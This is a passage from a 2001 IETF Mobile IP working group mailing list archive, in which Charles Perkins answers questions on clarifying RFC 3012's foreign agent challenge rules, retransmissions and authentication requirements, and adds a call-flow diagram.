Content-Transfer-Encoding: 7bit

Hello Ahmad,

I have been puzzling over your question, and I do not find
a perfectly satisfying answer.

ext Ahmad Muhanna wrote:

> One more issue that needs clarification:
> RFC3012 Section 3.2. states:
> 
> "If a mobile node retransmits a Registration Request with the same
> Identification field and the same Challenge extension, and the Foreign
> Agent still has a pending Registration Request record in effect for the
> mobile node, then the Foreign Agent forwards the Registration Request to
> the Home Agent again. In all other circumstances, if the Foreign Agent
> receives a Registration Request with a Challenge extension containing a
> Challenge value previously used by that mobile node, the Foreign Agent
> SHOULD send a Registration Reply to the mobile node containing the Code
> value STALE_CHALLENGE."
> 
> However, RFC2002 section 3.6.3. defines the retransmission of
> Registration Request as the following:
> 
> "3.6.3. Registration Retransmission:
> When no Registration Reply has been received within a reasonable time,
> another Registration Request MAY be transmitted. When timestamps are
> used,
> a new registration Identification is chosen for each retransmission;
> ........"

What this boils down to, is that RFC 3012 wanted the Identification field
to stay the same for retransmissions, and RFC 2002{,bis} allows it
to change.

The problem is that RFC 2002 wasn't written to make it very convenient
for intermediate nodes (e.g., foreign agents) to recognize retransmissions.
I think the best solution for the Challenge extension is to cause the
foreign agent to do more work.  Thus, if a registration is pending, and
all the fields _except possibly the Identification field_ (!) are the
same, then the foreign agent SHOULD send the registration to the home
agent again.  It was always the intention that the foreign agent should
forward retransmitted registrations only when they are actually retransmissions,
and checking the Identification field was supposed to be a shortcut for
verifying that point.  However, you have now identified a reason why
we should not use the shortcut.

=======================================================================

Here is the new relevant text, in the same paragraph as your original
quote:

      ....      The Foreign Agent SHOULD check that the mobile node is
   actually performing a retransmission, by verifying that the relevant 
   fields of the retransmitted request are the same as represented in
   the visitor list entry for the pending Registration Request (section
   3.7.1 of [8]).  This verification MUST NOT include the "remaining
   Lifetime of the pending registration", or the Identification field
   since those values are likely to change even for requests that are
   merely retransmissions and not new Registration Requests.  In all
   other circumstances, if the Foreign Agent receives   .... 

=======================================================================

Comments?

Regards,
Charlie P.


From owner-mobile-ip@sunroof.eng.sun.com  Sun Nov 11 18:35:02 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA00656
	for <mobileip-archive@lists.ietf.org>; Sun, 11 Nov 2001 18:35:01 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA04072;
	Sun, 11 Nov 2001 16:33:29 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA23978;
	Sun, 11 Nov 2001 15:30:31 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fABN2YQO004949
	for <mobile-ip-dist@sunroof.eng.sun.com>; Sun, 11 Nov 2001 15:02:34 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fABN2Ykc004948
	for mobile-ip-dist; Sun, 11 Nov 2001 15:02:34 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fABN2OQO004941
	for <mobile-ip@sunroof.eng.sun.com>; Sun, 11 Nov 2001 15:02:25 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA12874
	for <mobile-ip@sunroof.eng.sun.com>; Sun, 11 Nov 2001 15:02:05 -0800 (PST)
Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id QAA04002
	for <mobile-ip@sunroof.eng.sun.com>; Sun, 11 Nov 2001 16:02:30 -0700 (MST)
Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69])
	by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id PAA11266;
	Sun, 11 Nov 2001 15:02:21 -0800 (PST)
Received: (from root@localhost)
	by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id fABN2Lj06606;
	Sun, 11 Nov 2001 15:02:21 -0800
X-mProtect:  Sun, 11 Nov 2001 15:02:21 -0800 Nokia Silicon Valley Messaging Protection
Received: from charliep.iprg.nokia.com (205.226.2.89, claiming to be "iprg.nokia.com")
	by darkstar.iprg.nokia.com(P1.5 smtpdDTWTsc; Sun, 11 Nov 2001 15:02:20 PST
Message-ID: <3BEF037C.93C006F5@iprg.nokia.com>
Date: Sun, 11 Nov 2001 15:02:20 -0800
From: "Charles E. Perkins" <charliep@iprg.nokia.com>
Organization: Nokia Research Center
X-Mailer: Mozilla 4.7 [en] (X11; I; FreeBSD 3.4-RELEASE i386)
X-Accept-Language: en
MIME-Version: 1.0
To: ext Ahmad Muhanna <amuhanna@nortelnetworks.com>
CC: "'Patil Basavaraj (NET/Dallas)'" <Basavaraj.Patil@nokia.com>,
        "'Pat Calhoun'" <pcalhoun@bstormnetworks.com>,
        Pete Wenzel <wenzel@nortelnetworks.com>,
        Mobile IP Working Group <mobile-ip@sunroof.eng.sun.com>
Subject: Re: [mobile-ip] URGENT - rfc3012 interpretation question
References: <6B49EDFE974BD51197D70002A56079D82AF514@zrc2c013.us.nortel.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

ext Ahmad Muhanna wrote:

Hello again Ahmad,

> Hello All;
> 
> I believe after reading section 3.2., RFC3012, anyone can come up with
> the following concepts which has been highlighted and addressed directly
> or indirectly:
> 
> 1.      The term of unused challenge. Paragraph 1 section 3.2.
>                        .............
> 2.      The term of previously used challenge. Paragraph 3, section 3.2
>                        .............
> 3.      The term of UNKNOWN_CHALLENGE, Paragraph 4, section 3.2.
>                        .............
> I believe the RFC needs to identify the following:
> 1.      USED_CHALLENGE_WINDOW with a default value of 2 just like the
> CHALLENGE_WINDOW.

I didn't see the need for USED_CHALLENGE_WINDOW.  It would allow the
foreign agent to distinguish between used challenges and unknown
challenges, but I don't exactly see why it is important to be precise
about this.  Presumably the foreign agent will keep track of some number
of used challenges, and it's not important for the mobile node to know
the foreign agent's algorithm for doing so.

> 2.      The meaning of the USED Challenge is any challenge that has been
> used in a RRQ message and accepted by the PDSN as a valid CHALLENGE and
> PDSN  relayed/generated a RRP in response to that RRQ message.

Use of the term "PDSN" is not appropriate for this specification.
I have used "foreign agent" instead in the following definitions:

===========================================================================
      previously used challenge
               Any challenge that has been used in a Registration
               Request message and accepted by the Foreign Agent as a
               valid challenge in a corresponding Registration Reply
               message.
   
      stale challenge
               Same as "previously used challenge".
   
      unknown challenge
               Any challenge that the foreign agent has no record of
               having put into one of its Agent Advertisements.

      unused challenge
               A challenge that has not been already accepted
               by the Foreign Agent as a valid challenge in a
               Registration Reply message -- i.e., a valid challenge
               that is neither unknown nor previously used.

===========================================================================


> 3.      "In all other circumstances" in paragraph 3 is very vague. We
> may need to elaborate a little bit to explicitly say that
> STALE_CHALLENGE will be generated whenever a USED CHALLENGE
> is sent in a RRQ message.

The sentence following that phrase does exactly express that point.
Can you be specific about what you would like to see changed?


> NOW the UNKNOWN CHALLENGE becomes any Challenge value other than the one
> which was offered in last (NO Successful is mentioned) Registration
> Reply issued to the Mobile Node, or else advertised as one of the last
> CHALLENGE_WINDOW (see section 9) Challenge values inserted into the
> immediately preceding Agent advertisements, or else has previously been
> used as one of the last USED_CHALLENGE_WINDOW (see section 9).

I think I understand this issue, and I agree that the foreign agent 
should be able to do this.  In fact, I thought we had already made
the appropriate changes, but you have identified language in the draft
where more work needed to be done.  I think I have found all the offending
parts and fixed them now.

Regards,
Charlie P.


From owner-mobile-ip@sunroof.eng.sun.com  Sun Nov 11 18:47:00 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA00754
	for <mobileip-archive@lists.ietf.org>; Sun, 11 Nov 2001 18:46:59 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id PAA04871;
	Sun, 11 Nov 2001 15:45:49 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA24746;
	Sun, 11 Nov 2001 15:42:50 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fABNDnQO004961
	for <mobile-ip-dist@sunroof.eng.sun.com>; Sun, 11 Nov 2001 15:13:49 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fABNDnHV004960
	for mobile-ip-dist; Sun, 11 Nov 2001 15:13:49 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fABNDhQO004953
	for <mobile-ip@sunroof.eng.sun.com>; Sun, 11 Nov 2001 15:13:44 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA08515
	for <mobile-ip@sunroof.eng.sun.com>; Sun, 11 Nov 2001 15:13:39 -0800 (PST)
Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id QAA07953
	for <mobile-ip@sunroof.eng.sun.com>; Sun, 11 Nov 2001 16:13:46 -0700 (MST)
Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69])
	by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id PAA11968;
	Sun, 11 Nov 2001 15:13:37 -0800 (PST)
Received: (from root@localhost)
	by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id fABNDaK12285;
	Sun, 11 Nov 2001 15:13:36 -0800
X-mProtect:  Sun, 11 Nov 2001 15:13:36 -0800 Nokia Silicon Valley Messaging Protection
Received: from charliep.iprg.nokia.com (205.226.2.89, claiming to be "iprg.nokia.com")
	by darkstar.iprg.nokia.com(P1.5 smtpdhx27j2; Sun, 11 Nov 2001 15:13:35 PST
Message-ID: <3BEF0620.9F76D1A0@iprg.nokia.com>
Date: Sun, 11 Nov 2001 15:13:36 -0800
From: "Charles E. Perkins" <charliep@iprg.nokia.com>
Organization: Nokia Research Center
X-Mailer: Mozilla 4.7 [en] (X11; I; FreeBSD 3.4-RELEASE i386)
X-Accept-Language: en
MIME-Version: 1.0
To: Bjorn Andersson <bjorn@lifix.fi>
CC: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] Authentication requirement in RFC3012
References: <20011015151606.B20542@lifix.fi>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Bjorn Andersson wrote:

> RFC3012 requires that the mobile node has a security association with
> either the foreign agent or the AAA infrastructure if FA challenges
> are used. Why is this is a MUST? This prevents one from, for example,
> making an access network that does not require any authentication,
> but gives a higher QoS for those that can authenticate themselves
> and have an agreement with the access provider.

I changed the MUST to a SHOULD, but I think your point is debatable.
For one thing, the mobile node is basically REQUIRED to add the
challenge, but the foreign agent is often still basicaly relying on
the infrastructure to carry out the actual authentication.

> What would be lost if authentication wasn't required (and if the
> advertisement challenge extension would be skippable)?

The advertisement should not be skippable, because it is not
up to the mobile node to decide whether the extension is required.
The only reason for making it skippable would be to provide some
sort of low-grade access to the mobile nodes that were unaware of
RFC 3012.  I think that would amount to a significant change that
would require validation and consensus from the [mobile-ip]
working group, and I have not seen further discussion to support
your request.


Regards,
Charlie P.


From owner-mobile-ip@sunroof.eng.sun.com  Sun Nov 11 19:03:40 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA00940
	for <mobileip-archive@odin.ietf.org>; Sun, 11 Nov 2001 19:03:39 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id QAA07008;
	Sun, 11 Nov 2001 16:02:23 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA26406;
	Sun, 11 Nov 2001 16:00:23 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fABNWfQO005032
	for <mobile-ip-dist@sunroof.eng.sun.com>; Sun, 11 Nov 2001 15:32:41 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fABNWfVm005031
	for mobile-ip-dist; Sun, 11 Nov 2001 15:32:41 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fABNWaQO005024
	for <mobile-ip@sunroof.eng.sun.com>; Sun, 11 Nov 2001 15:32:36 -0800 (PST)
Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA10060
	for <mobile-ip@sunroof.eng.sun.com>; Sun, 11 Nov 2001 15:32:33 -0800 (PST)
Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12])
	by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id PAA22862
	for <mobile-ip@sunroof.eng.sun.com>; Sun, 11 Nov 2001 15:32:33 -0800 (PST)
Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69])
	by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id PAA12491;
	Sun, 11 Nov 2001 15:32:32 -0800 (PST)
Received: (from root@localhost)
	by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id fABNWVV18851;
	Sun, 11 Nov 2001 15:32:31 -0800
X-mProtect:  Sun, 11 Nov 2001 15:32:31 -0800 Nokia Silicon Valley Messaging Protection
Received: from charliep.iprg.nokia.com (205.226.2.89, claiming to be "iprg.nokia.com")
	by darkstar.iprg.nokia.com(P1.5 smtpdWjPcSz; Sun, 11 Nov 2001 15:32:30 PST
Message-ID: <3BEF0A8F.8AB322E5@iprg.nokia.com>
Date: Sun, 11 Nov 2001 15:32:31 -0800
From: "Charles E. Perkins" <charliep@iprg.nokia.com>
Organization: Nokia Research Center
X-Mailer: Mozilla 4.7 [en] (X11; I; FreeBSD 3.4-RELEASE i386)
X-Accept-Language: en
MIME-Version: 1.0
To: Mike_Borella@3com.com
CC: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] RFC3012 interpretation yet again
References: <OFB5B65262.98361C5B-ON86256AEF.0055467C@3com.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Hello Mike,

Mike_Borella@3com.com wrote:

> Well, since you asked...  This is not a purely technical issue, but
> I think it would help a lot if RFC3012bis included a ladder diagram
> of a canonical call flow.  Right now each element's processing
> is discussed in isolation and I believe that an appendix showing the
> order in which events typically occur would help.

How's this:

        MN                  FA              Verification Infrastructure
         |                   |                        |
         |<-- Adv+Challenge--|                        |
         |    (if needed)    |                        |
         |                   |                        |
         |-- RReq+Challenge->|                        |
         |    + Auth.Ext.    |                        |
         |                   |--- RReq + Challenge -->|
         |                   |      + Auth.Ext        |
         |                   |                        |
         |                   |<-- RRep + Auth.Ext.----|
         |                   |                        |
         |<-- RRep+Auth.Ext--|                        |
         |     + Challenge   |                        |
         |                   |                        |


... along with an explanatory paragraph...

Regards,
Charlie P.


From owner-mobile-ip@sunroof.eng.sun.com  Sun Nov 11 19:23:50 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA01135
	for <mobileip-archive@odin.ietf.org>; Sun, 11 Nov 2001 19:23:49 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id QAA10073;
	Sun, 11 Nov 2001 16:22:30 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA17670;
	Sun, 11 Nov 2001 16:19:32 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fABNq8QO005180
	for <mobile-ip-dist@sunroof.eng.sun.com>; Sun, 11 Nov 2001 15:52:09 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fABNq8v9005179
	for mobile-ip-dist; Sun, 11 Nov 2001 15:52:08 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fABNq2QO005172
	for <mobile-ip@sunroof.eng.sun.com>; Sun, 11 Nov 2001 15:52:03 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA11184
	for <mobile-ip@sunroof.eng.sun.com>; Sun, 11 Nov 2001 15:52:00 -0800 (PST)
Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA10164
	for <mobile-ip@sunroof.eng.sun.com>; Sun, 11 Nov 2001 16:51:42 -0700 (MST)
Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69])
	by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id PAA12845;
	Sun, 11 Nov 2001 15:51:59 -0800 (PST)
Received: (from root@localhost)
	by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id fABNpwc24988;
	Sun, 11 Nov 2001 15:51:58 -0800
X-mProtect:  Sun, 11 Nov 2001 15:51:58 -0800 Nokia Silicon Valley Messaging Protection
Received: from charliep.iprg.nokia.com (205.226.2.89, claiming to be "iprg.nokia.com")
	by darkstar.iprg.nokia.com(P1.5 smtpdUTfY1F; Sun, 11 Nov 2001 15:51:57 PST
Message-ID: <3BEF0F1D.11EC67DA@iprg.nokia.com>
Date: Sun, 11 Nov 2001 15:51:57 -0800
From: "Charles E. Perkins" <charliep@iprg.nokia.com>
Organization: Nokia Research Center
X-Mailer: Mozilla 4.7 [en] (X11; I; FreeBSD 3.4-RELEASE i386)
X-Accept-Language: en
MIME-Version: 1.0
To: Luca Salgarelli <salga@bell-labs.com>
CC: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] RFC3012 interpretation yet again
References: <2D11BCC7FFD8D3118FD70000D1ECDC88066E7B99@pkcexv018.sprintspectrum.com> <002d01c15c39$2efe6600$752baec7@uf4xc> <20011024092818.A5151@bell-labs.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Hello Luca,


Luca Salgarelli wrote:

> actually I do have a request for clarification on another point of RFC3012.
> 
> In secion 3.1, page 4 the RFC says:
> 
>    A successful Registration Reply from the Foreign Agent MAY include a
>    new Challenge value (see section 3.3).  The Mobile Node MAY use
>    either the value found in the latest Advertisement, or the one found
>    in the last Registration Reply from the Foreign Agent.  This approach
>    enables the Mobile Node to make use of the challenge without having
>    to wait for advertisements.
> 
>    A Mobile Node might receive an UNKNOWN_CHALLENGE error (see section
>    9) if it moves to a new Foreign Agent that cannot validate the
>    challenge provided in the Registration Request.  In such instances,
>    the Mobile Node MUST use a new Challenge value in any new
>    registration, obtained either from an Agent Advertisement, or from a
>    Challenge extension to the Registration Reply containing the error.
> 
> So it states that the MN MUST use a Challenge from an unsuccessful Reply.

...?  Either from a Reply, or from an Advertisement, right? ...

> 
> However, in section 3.2, page 5, it also says:
> 
>    The Foreign Agent MUST NOT accept any Challenge in the Registration
>    Request unless it was offered in last successful Registration Reply
>    issued to the Mobile Node, or else advertised as one of the last
> 
> Which seems to go against what stated above.

I think this point was also raised by Ahmad, and I have fixed it by
deleting the word "successful" as I believe you are suggesting in your
next paragraph...

> In general, I think that there is the need to clarify if the FA should or
> should not include a Challenge in an unsuccessful Registration Reply. If
> the FA should include it, than it should be clarified whether the MN is or
> is not allowed to use a Challenge obtained from an unsuccessful Reg. Reply.


Regards,
Charlie P.


From owner-mobile-ip@sunroof.eng.sun.com  Sun Nov 11 21:03:30 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA01784
	for <mobileip-archive@odin.ietf.org>; Sun, 11 Nov 2001 21:03:29 -0500 (EST)
Received: from engmail1.Eng.Sun.COM ([129.146.1.13])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id TAA02717;
	Sun, 11 Nov 2001 19:01:56 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id RAA21946;
	Sun, 11 Nov 2001 17:59:44 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fAC1TKQO005636
	for <mobile-ip-dist@sunroof.eng.sun.com>; Sun, 11 Nov 2001 17:29:20 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fAC1TKkA005635
	for mobile-ip-dist; Sun, 11 Nov 2001 17:29:20 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fAC1TFQO005628
	for <mobile-ip@sunroof.eng.sun.com>; Sun, 11 Nov 2001 17:29:16 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id RAA28746
	for <mobile-ip@sunroof.eng.sun.com>; Sun, 11 Nov 2001 17:29:17 -0800 (PST)
Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12])
	by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id RAA29120
	for <mobile-ip@sunroof.eng.sun.com>; Sun, 11 Nov 2001 17:29:17 -0800 (PST)
Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69])
	by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id RAA15738;
	Sun, 11 Nov 2001 17:29:16 -0800 (PST)
Received: (from root@localhost)
	by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id fAC1TFI25742;
	Sun, 11 Nov 2001 17:29:15 -0800
X-mProtect:  Sun, 11 Nov 2001 17:29:15 -0800 Nokia Silicon Valley Messaging Protection
Received: from charliep.iprg.nokia.com (205.226.2.89, claiming to be "iprg.nokia.com")
	by darkstar.iprg.nokia.com(P1.5 smtpdzcAQYh; Sun, 11 Nov 2001 17:29:14 PST
Message-ID: <3BEF25EA.4BAE9A38@iprg.nokia.com>
Date: Sun, 11 Nov 2001 17:29:14 -0800
From: "Charles E. Perkins" <charliep@iprg.nokia.com>
Organization: Nokia Research Center
X-Mailer: Mozilla 4.7 [en] (X11; I; FreeBSD 3.4-RELEASE i386)
X-Accept-Language: en
MIME-Version: 1.0
To: Fredrik Johansson <fredrik.johansson@ipunplugged.com>
CC: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] AAA keys design comment
References: <MJEMJBGGCLLDLFFAHLJKAEGHDHAA.fredrik.johansson@ipunplugged.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Hello Fredrik,

While reading through the AAA keys discussion, I found this text:

>>   It appears that I've been thinking of this too
>>   much like the v6 model which _does_ require the
>>   round trip to the HA at all times since there's
>>   no FA.
> 
> it's not only the roundtrip over the air that can be
> more expensive, it's also between the home and foreign
> network (when the HA is allocated in the home network).

I don't see why we can't use the same AAA/Mobile IP model
for IPv6 as for IPv4, since some sort of local attendant
function looks pretty likely.  For Mobile IPv4, the foreign
agent is the logical place to put the additional attendant
functionality, but it also has to be somewhere local
in IPv6.  We have the AAAv6 draft for this purpose, and
eventually we hope that AAA will pick it up as a work
item since the IPv6 working group has essentially
validated the usefulness of having some sort of AAA
model for authorizing network access for IPv6.  I have to
be careful to avoid giving the impression that IPv6 has
validated our AAAv6 draft, because that isn't the case.
There seem to be many interacting features, and lately
I have not had time to push forward on this particular
draft.

Regards,
Charlie P.


From owner-mobile-ip@sunroof.eng.sun.com  Sun Nov 11 23:24:19 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA05311
	for <mobileip-archive@odin.ietf.org>; Sun, 11 Nov 2001 23:24:18 -0500 (EST)
Received: from engmail1.Eng.Sun.COM ([129.146.1.13])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id UAA19850;
	Sun, 11 Nov 2001 20:22:39 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id UAA29927;
	Sun, 11 Nov 2001 20:18:59 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
